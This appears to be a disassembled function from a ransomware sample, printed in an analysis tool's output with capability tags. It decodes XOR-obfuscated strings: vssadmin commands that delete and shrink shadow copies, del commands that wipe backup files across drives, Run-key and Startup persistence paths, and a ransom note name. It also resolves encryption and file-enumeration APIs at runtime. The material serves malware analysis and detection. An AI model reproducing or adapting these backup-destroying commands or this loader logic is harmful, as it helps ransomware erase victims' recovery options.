Function at 0x30003f90
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov ecx, 0x65f0f7
xor eax, eax
nop dword [eax]
imul ecx, ecx
add ecx, eax
cmove ecx, eax
inc eax
cmp eax, 0x65f0f7
jb 0x30003fa0
mov eax, 0x6c16c16d
mul ecx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
imul eax, eax, 0x5a
push ebx
push esi
push edi
sub ecx, eax
xor edx, edx
nop dword [eax]
mov bl, byte [0x300249d5]
mov eax, 1
test bl, bl
je 0x30003fea
nop
inc eax
cmp byte [eax + str.bZIiQ], 0
jne 0x30003fe0
cmp edx, eax
jge 0x30003ff7
xor byte [edx + str.bZIiQ], cl
inc edx
jmp 0x30003fd0
xor eax, eax
mov edi, str.LoadLibraryA
mov dword [ebp - 4], eax
xor esi, esi
cmp dword [eax + 0x3001afd8], esi
jbe 0x30004044
nop dword [eax + eax]
mov ecx, 1
test bl, bl
je 0x3000402a
nop dword [eax]
inc ecx
cmp byte [ecx + str.bZIiQ], 0
jne 0x30004020
mov eax, esi
cdq
idiv ecx
mov al, byte [edx + str.bZIiQ]
xor byte [edi + esi], al
inc esi
mov eax, dword [ebp - 4]
cmp esi, dword [eax + 0x3001afd8]
jb 0x30004010
add eax, 4
add edi, 0x32
mov dword [ebp - 4], eax
cmp eax, 0x110
jb 0x30004001
xor esi, esi
mov ecx, 1
test bl, bl
je 0x3000406a
nop
inc ecx
cmp byte [ecx + str.bZIiQ], 0
jne 0x30004060
mov eax, esi
cdq
idiv ecx
mov al, byte [edx + str.bZIiQ]
xor byte [esi + str.SYSTEMCurrentControlSetControlNlsLanguage_], al
inc esi
cmp esi, 0x2e
jb 0x30004056
xor esi, esi
mov ecx, 1
test bl, bl
je 0x3000409a
nop dword [eax]
inc ecx
cmp byte [ecx + str.bZIiQ], 0
jne 0x30004090
mov eax, esi
cdq
idiv ecx
mov al, byte [edx + str.bZIiQ]
xor byte [esi + str.vssadmin_Delete_Shadows__all__quiet_r_nvssadmin_resize_shadowstorage__forc:__onc:__maxsize401MB_r_nvssadmin_resize_shadowstorage__forc:__onc:__maxsizeunbounded_r_nvssadmin_resize_shadowstorage__ford:__ond:__maxsize401MB_r_nvssadmin_resize_shadowstorage__ford:__ond:__maxsizeunbounded_r_nvssadmin_resize_shadowstorage__fore:__one:__maxsize401MB_r_nvssadmin_resize_shadowstorage__fore:__one:__maxsizeunbounded_r_nvssadmin_resize_shadowstorage__forf:__onf:__maxsize401MB_r_nvssadmin_resize_shadowstorage__forf:__onf:__maxsizeunbounded_r_nvssadmin_resize_shadowstorage__forg:__ong:__maxsize401MB_r_nvssadmin_resize_shadowstorage__forg:__ong:__maxsizeunbounded_r_nvssadmin_resize_shadowstorage__forh:__onh:__maxsize401MB_r_nvssadmin_resize_shadowstorage__forh:__onh:__maxsizeunbounded_r_nvssadmin_Delete_Shadows__all__quiet_r_ndel__s__f__q_c:.VHD_c:.bac_c:.bak_c:.wbcat_c:.bkf_c:Backup._c:_backup._c:.set_c:.win_c:.dsk_r_ndel__s__f__q_d:.VHD_d:.bac_d:.bak_d:.wbcat_d:.bkf_d:Backup._d:_backup._d:.set_d:.win_d:.dsk_r_ndel__s__f__q_e:.VHD_e:.bac_e:.bak_e:.wbcat_e:.bkf_e:Backup._e:_backup._e:.set_e:.win_e:.dsk_r_ndel__s__f__q_f:.VHD_f:.bac_f:.bak_f:.wbcat_f:.bkf_f:Backup._f:_backup._f:.set_f:.win_f:.dsk_r_ndel__s__f__q_g:.VHD_g:.bac_g:.bak_g:.wbcat_g:.bkf_g:Backup._g:_backup._g:.set_g:.win_g:.dsk_r_ndel__s__f__q_h:.VHD_h:.bac_h:.bak_h:.wbcat_h:.bkf_h:Backup._h:_backup._h:.set_h:.win_h:.dsk_r_ndel__0], al
inc esi
cmp esi, 0x5f0
jb 0x30004083
xor esi, esi
mov ecx, 1
test bl, bl
je 0x300040ca
nop
inc ecx
cmp byte [ecx + str.bZIiQ], 0
jne 0x300040c0
mov eax, esi
cdq
idiv ecx
movsx ax, byte [edx + str.bZIiQ]
xor word [esi*2 + str.Documents_and_SettingsDefault_userwindow.bat], ax
inc esi
cmp esi, 0x2f
jb 0x300040b6
xor esi, esi
mov ecx, 1
test bl, bl
je 0x300040fa
inc ecx
cmp byte [ecx + str.bZIiQ], 0
jne 0x300040f0
mov eax, esi
cdq
idiv ecx
movsx ax, byte [edx + str.bZIiQ]
xor word [esi*2 + str.Documents_and_Settings_], ax
inc esi
cmp esi, 0x18
jb 0x300040e7
xor esi, esi
mov ecx, 1
test bl, bl
je 0x3000412a
inc ecx
cmp byte [ecx + str.bZIiQ], 0
jne 0x30004120
mov eax, esi
cdq
idiv ecx
mov al, byte [edx + str.bZIiQ]
xor byte [esi + str.SOFTWAREMicrosoftWindowsCurrentVersionRun_], al
inc esi
cmp esi, 0x2e
jb 0x30004117
xor esi, esi
mov ecx, 1
test bl, bl
je 0x3000415a
nop dword [eax]
inc ecx
cmp byte [ecx + str.bZIiQ], 0
jne 0x30004150
mov eax, esi
cdq
idiv ecx
mov al, byte [edx + str.bZIiQ]
xor byte [esi + str.usersPublic_run.sct], al
inc esi
cmp esi, 0x15
jb 0x30004143
xor esi, esi
mov ecx, 1
test bl, bl
je 0x3000418a
nop dword [eax]
inc ecx
cmp byte [ecx + str.bZIiQ], 0
jne 0x30004180
mov eax, esi
cdq
idiv ecx
mov al, byte [edx + str.bZIiQ]
xor byte [esi + str.Start_MenuProgramsStartup_start.bat], al
inc esi
cmp esi, 0x26
jb 0x30004173
xor esi, esi
mov ecx, 1
test bl, bl
je 0x300041ba
nop dword [eax]
inc ecx
cmp byte [ecx + str.bZIiQ], 0
jne 0x300041b0
mov eax, esi
cdq
idiv ecx
mov al, byte [edx + str.bZIiQ]
xor byte [esi + str.:Users_], al
inc esi
cmp esi, 8
jb 0x300041a3
xor esi, esi
mov ecx, 1
test bl, bl
je 0x300041ea
nop dword [eax]
inc ecx
cmp byte [ecx + str.bZIiQ], 0
jne 0x300041e0
mov eax, esi
cdq
idiv ecx
mov al, byte [edx + str.bZIiQ]
xor byte [esi + str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup_start.bat], al
inc esi
cmp esi, 0x48
jb 0x300041d3
xor esi, esi
mov ecx, 1
test bl, bl
je 0x3000421a
nop dword [eax]
inc ecx
cmp byte [ecx + str.bZIiQ], 0
jne 0x30004210
mov eax, esi
cdq
idiv ecx
mov al, byte [edx + str.bZIiQ]
xor byte [esi + str.start_____], al
inc esi
cmp esi, 0xa
jb 0x30004203
xor esi, esi
mov ecx, 1
test bl, bl
je 0x3000424a
nop dword [eax]
inc ecx
cmp byte [ecx + str.bZIiQ], 0
jne 0x30004240
mov eax, esi
cdq
idiv ecx
mov al, byte [edx + str.bZIiQ]
xor byte [esi + str.start_____TEMP_], al
inc esi
cmp esi, 0xf
jb 0x30004233
xor esi, esi
mov ecx, 1
test bl, bl
je 0x3000427a
nop dword [eax]
inc ecx
cmp byte [ecx + str.bZIiQ], 0
jne 0x30004270
mov eax, esi
cdq
idiv ecx
mov al, byte [edx + str.bZIiQ]
xor byte [esi + str.start_____PUBLIC_], al
inc esi
cmp esi, 0x11
jb 0x30004263
xor esi, esi
mov ecx, 1
test bl, bl
je 0x300042aa
nop dword [eax]
inc ecx
cmp byte [ecx + str.bZIiQ], 0
jne 0x300042a0
mov eax, esi
cdq
idiv ecx
mov al, byte [edx + str.bZIiQ]
xor byte [esi + str.SOFTWAREMicrosoftWindowsCurrentVersionPoli9__f___t0], al
inc esi
cmp esi, 0x3a
jb 0x30004293
xor esi, esi
mov ecx, 1
test bl, bl
je 0x300042da
nop dword [eax]
inc ecx
cmp byte [ecx + str.bZIiQ], 0
jne 0x300042d0
mov eax, esi
cdq
idiv ecx
movsx ax, byte [edx + str.bZIiQ]
xor word [esi*2 + str.Microsoft_Enhanced_RSA_and_AES_Cryptographic_Provider__Prototype_], ax
inc esi
cmp esi, 0x41
jl 0x300042c3
xor esi, esi
mov ecx, 1
test bl, bl
je 0x3000430a
inc ecx
cmp byte [ecx + str.bZIiQ], 0
jne 0x30004300
mov eax, esi
cdq
idiv ecx
movsx ax, byte [edx + str.bZIiQ]
xor word [esi*2 + str.Microsoft_Enhanced_RSA_and_AES_Cryptographic_Provider], ax
inc esi
cmp esi, 0x35
jl 0x300042f7
xor esi, esi
mov ecx, 1
test bl, bl
je 0x3000433a
inc ecx
cmp byte [ecx + str.bZIiQ], 0
jne 0x30004330
mov eax, esi
cdq
idiv ecx
movsx ax, byte [edx + str.bZIiQ]
xor word [esi*2 + str.DECRYPT_INFORMATION.html], ax
inc esi
cmp esi, 0x19
jl 0x30004327
xor esi, esi
mov ecx, 1
test bl, bl
je 0x3000436a
inc ecx
cmp byte [ecx + str.bZIiQ], 0
jne 0x30004360
mov eax, esi
cdq
idiv ecx
movsx ax, byte [edx + str.bZIiQ]
xor word [esi*2 + str.UNIQUE_ID_DO_NOT_REMOVE], ax
inc esi
cmp esi, 0x18
jl 0x30004357
xor esi, esi
mov ecx, 1
test bl, bl
je 0x3000439a
inc ecx
cmp byte [ecx + str.bZIiQ], 0
jne 0x30004390
mov eax, esi
cdq
idiv ecx
movsx ax, byte [edx + str.bZIiQ]
xor word [esi*2 + str.AES_unique_], ax
inc esi
cmp esi, 0xb
jl 0x30004387
xor edx, edx
mov dword [ebp - 0xc], 0
mov bl, byte [ebp - 9]
xorps xmm0, xmm0
mov bh, byte [ebp - 0xa]
movq qword [ebp - 0x14], xmm0
mov byte [ebp - 8], 0
lea edi, [edx + 1]
cmp edx, 0x6b
jne 0x300043e9
cmp byte [ebp - 0x14], dl
je 0x3000453f
mov byte [ebp - 0x14], dl
jmp 0x300044ac
cmp edx, 0x65
jne 0x3000440e
cmp byte [ebp - 0x13], dl
je 0x300043fb
mov byte [ebp - 0x13], dl
jmp 0x300044ac
cmp byte [ebp - 0x10], 0x65
je 0x3000453f
mov byte [ebp - 0x10], 0x65
jmp 0x300044ac
cmp edx, 0x72
jne 0x30004424
cmp byte [ebp - 0x12], dl
je 0x3000453f
mov byte [ebp - 0x12], dl
jmp 0x300044ac
cmp edx, 0x6e
jne 0x30004437
cmp byte [ebp - 0x11], dl
je 0x3000453f
mov byte [ebp - 0x11], dl
jmp 0x300044ac
cmp edx, 0x6c
jne 0x30004462
cmp byte [ebp - 0xf], dl
je 0x30004446
mov byte [ebp - 0xf], dl
jmp 0x300044ac
cmp bh, 0x6c
je 0x30004452
mov bh, 0x6c
mov byte [ebp - 0xa], bh
jmp 0x300044ac
cmp bl, 0x6c
je 0x3000453f
mov bl, 0x6c
mov byte [ebp - 9], bl
jmp 0x300044ac
cmp edx, 0x33
jne 0x30004475
cmp byte [ebp - 0xe], dl
je 0x3000453f
mov byte [ebp - 0xe], dl
jmp 0x300044ac
cmp edx, 0x32
jne 0x30004488
cmp byte [ebp - 0xd], dl
je 0x3000453f
mov byte [ebp - 0xd], dl
jmp 0x300044ac
cmp edx, 0x2e
jne 0x3000449b
cmp byte [ebp - 0xc], dl
je 0x3000453f
mov byte [ebp - 0xc], dl
jmp 0x300044ac
cmp edx, 0x64
jne 0x300044f0
cmp byte [ebp - 0xb], dl
je 0x3000453f
mov byte [ebp - 0xb], dl
lea esi, [edx + 0x65f0f7]
xor eax, eax
mov ecx, esi
test esi, esi
je 0x300044cd
nop word [eax + eax]
imul esi, esi
add esi, eax
cmove esi, eax
inc eax
cmp eax, ecx
jb 0x300044c0
mov eax, 0x6c16c16d
mov ecx, esi
mul esi
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 6
imul ecx, ecx, 0x5a
sub esi, ecx
mov ecx, 0xfa
mov eax, esi
cdq
idiv ecx
jmp 0x3000453f
cmp edx, 0xfe
jl 0x3000453f
xor eax, eax
xor ecx, ecx
nop dword [eax]
cmp byte [ebp + ecx - 0x14], 0
cmove eax, edi
cmp byte [ebp + ecx - 0x13], 0
cmove eax, edi
cmp byte [ebp + ecx - 0x12], 0
cmove eax, edi
cmp byte [ebp + ecx - 0x11], 0
cmove eax, edi
cmp byte [ebp + ecx - 0x10], 0
cmove eax, edi
cmp byte [ebp + ecx - 0xf], 0
cmove eax, edi
add ecx, 6
cmp ecx, 0xc
jl 0x30004500
cmp eax, 1
jne 0x3000454c
xor edx, edx
inc edx
cmp edx, 0xff
jl 0x300043d3
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.LoadLibraryA
push eax
mov dword [0x3037e26c], eax
call esi
push str.mpr.dll
mov dword [0x3037e278], eax
call eax
push str.advapi32.dll
mov dword [0x3002547c], eax
call dword [0x3037e278]
push str.ole32.dll
mov dword [0x3002548c], eax
call dword [0x3037e278]
push str.Shell32.dll
mov dword [0x300266e0], eax
call dword [0x3037e278]
push str.Iphlpapi.dll
mov dword [0x3037e274], eax
call dword [0x3037e278]
push 0x3001a840
push dword [0x3037e26c]
mov dword [0x30025414], eax
call esi
push str.VirtualFree
push dword [0x3037e26c]
mov dword [0x300253fc], eax
call esi
push str.CryptExportKey
push dword [0x3002548c]
mov dword [0x30026450], eax
call esi
push str.DeleteFileW
push dword [0x3037e26c]
mov dword [0x300266f8], eax
call esi
push str.GetDriveTypeW
push dword [0x3037e26c]
call esi
push str.GetCommandLineW
push dword [0x3037e26c]
mov dword [0x30025488], eax
call esi
push str.GetStartupInfoW
push dword [0x3037e26c]
call esi
push str.FindNextFileW
push dword [0x3037e26c]
call esi
push str.VirtualAlloc
push dword [0x3037e26c]
mov dword [0x30380990], eax
call esi
push str.GetUserNameA
push dword [0x3002548c]
mov dword [0x30025408], eax
call esi
push str.ExitProcess
push dword [0x3037e26c]
call esi
push str.Wow64RevertWow64FsRedirection
push dword [0x3037e26c]
mov dword [0x3037e268], eax
call esi
push str.CreateProcessA
push dword [0x3037e26c]
call esi
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], 0x49746547
push eax
push dword [0x30025414]
mov dword [ebp - 0x20], 0x74654e70
mov dword [ebp - 0x1c], 0x6c626154
mov word [ebp - 0x18], 0x65
call esi
push str.GetVersionExW
push dword [0x3037e26c]
mov dword [0x30026434], eax
call esi
push str.Wow64DisableWow64FsRedirection
push dword [0x3037e26c]
call esi
push str.GetSystemDefaultLangID
push dword [0x3037e26c]
call esi
push str.GetUserNameW
push dword [0x3002548c]
call esi
push str.ReadFile
push dword [0x3037e26c]
call esi
push str.RegQueryValueExA
push dword [0x3002548c]
mov dword [0x3002645c], eax
call esi
push str.CloseHandle
push dword [0x3037e26c]
call esi
push str.RegSetValueExW
push dword [0x3002548c]
mov dword [0x3002644c], eax
call esi
push str.RegCloseKey
push dword [0x3002548c]
call esi
push str.CopyFileA
push dword [0x3037e26c]
call esi
push str.SetFileAttributesW
push dword [0x3037e26c]
call esi
push str.WinExec
push dword [0x3037e26c]
mov dword [0x30025410], eax
call esi
push str.CryptDeriveKey
push dword [0x3002548c]
call esi
push str.CryptGenKey
push dword [0x3002548c]
call esi
push str.Sleep
push dword [0x3037e26c]
mov dword [0x30025404], eax
call esi
push str.GetCurrentProcess
push dword [0x3037e26c]
mov dword [0x303809a0], eax
call esi
push str.ShellExecuteW
push dword [0x3037e274]
call esi
push str.GetFileSize
push dword [0x3037e26c]
mov dword [0x30025400], eax
call esi
push str.GlobalAlloc
push dword [0x3037e26c]
call esi
push str.FindClose
push dword [0x3037e26c]
mov dword [0x30026454], eax
call esi
push str.WaitForMultipleObjects
push dword [0x3037e26c]
mov dword [0x30025484], eax
call esi
push str.GetModuleFileNameA
push dword [0x3037e26c]
call esi
push str.ShellExecuteA
push dword [0x3037e274]
call esi
push str.GetModuleHandleA
push dword [0x3037e26c]
call esi
push str.GetModuleFileNameW
push dword [0x3037e26c]
call esi
push str.CreateFileA
push dword [0x3037e26c]
call esi
push str.GetFileSizeEx
push dword [0x3037e26c]
call esi
push str.WriteFile
push dword [0x3037e26c]
mov dword [0x30026430], eax
call esi
push str.GetLogicalDrives
push dword [0x3037e26c]
mov dword [0x303809a4], eax
call esi
push str.WNetEnumResourceW
push dword [0x3002547c]
mov dword [0x3038099c], eax
call esi
push str.RegOpenKeyExW
push dword [0x3002548c]
mov dword [0x300266e4], eax
call esi
push str.WNetCloseEnum
push dword [0x3002547c]
call esi
push str.GetWindowsDirectoryW
push dword [0x3037e26c]
mov dword [0x30026440], eax
call esi
push str.SetFileAttributesA
push dword [0x3037e26c]
mov dword [0x30026438], eax
call esi
push str.RegOpenKeyExA
push dword [0x3002548c]
call esi
push str.SetFilePointer
push dword [0x3037e26c]
call esi
push str.GetTickCount
push dword [0x3037e26c]
mov dword [0x3002540c], eax
call esi
push str.GetFileAttributesW
push dword [0x3037e26c]
call esi
push str.FindFirstFileW
push dword [0x3037e26c]
call esi
push str.CryptAcquireContextW
push dword [0x3002548c]
mov dword [0x300266f4], eax
call esi
push str.MoveFileExW
push dword [0x3037e26c]
mov dword [0x300253f8], eax
call esi
push str.WNetOpenEnumW
push dword [0x3002547c]
call esi
push str.CoInitialize
push dword [0x300266e0]
mov dword [0x3037e270], eax
call esi
push str.CryptDecrypt
push dword [0x3002548c]
call esi
push str.CryptImportKey
push dword [0x3002548c]
call esi
push 0x3001a89c
push dword [0x3037e26c]
mov dword [0x300266ec], eax
call esi
push str.CopyFileW
push dword [0x3037e26c]
mov dword [0x300266fc], eax
call esi
push str.FreeLibrary
push dword [0x3037e26c]
call esi
push str.CreateProcessW
push dword [0x3037e26c]
mov dword [0x300266e8], eax
call esi
push str.CreateDirectoryW
push dword [0x3037e26c]
call esi
push str.CreateThread
push dword [0x3037e26c]
call esi
push str.CryptDestroyKey
push dword [0x3002548c]
mov dword [0x3037e27c], eax
call esi
push str.CoCreateInstance
push dword [0x300266e0]
mov dword [0x30380f20], eax
call esi
push str.CreateFileW
push dword [0x3037e26c]
call esi
push str.GetFileAttributesA
push dword [0x3037e26c]
mov dword [0x30026444], eax
call esi
push str.CryptEncrypt
push dword [0x3002548c]
call esi
push str.RegDeleteValueW
push dword [0x3002548c]
mov dword [0x30025480], eax
call esi
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret